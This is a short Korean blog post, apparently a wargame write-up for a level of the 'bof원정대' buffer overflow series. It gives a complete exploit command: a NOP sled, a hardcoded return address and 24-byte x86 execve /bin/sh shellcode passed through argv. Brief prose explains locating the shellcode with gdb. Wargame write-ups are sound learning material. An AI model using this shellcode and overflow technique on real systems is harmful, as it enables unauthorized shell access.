티스토리 뷰


해답 : 

./orc `python -c 'print "\x90"*44+"\x2c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`



버퍼가 40 으로 상당히 작습니다. 버퍼 40에 제가 가지고 있는 24바이트의 쉘코드를 넣어도 되겠지만 성공률 때문에 argv[2] 에다가 넣는 방식으로 해결했습니다. 


해답을 보시면 총 두가지 인자 값을 넣었는데 첫 번째 인자 값은 주소를 바꾸는 용도를 사용했고 두 번째 인자 값은 쉘코드를 넣기 위해 사용했습니다. 


 x/150x $esp를 이용해서 argv[2]가 들어가는 위치를 파악한 후 해당 주소로 점프하게끔 리턴 주소를 바꿔주면 완료입니다. 








cantata

'문제풀이 > bof원정대' 카테고리의 다른 글

bof 원정대 wolfman -> darkelf  (0) 2016.08.15
bof 원정대 orc -> wolfman  (0) 2016.08.15
bof원정대 gremlin -> cobolt  (0) 2016.08.15
bof원정대 gate -> gremlin  (0) 2016.08.15
BOF 기본  (0) 2016.08.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함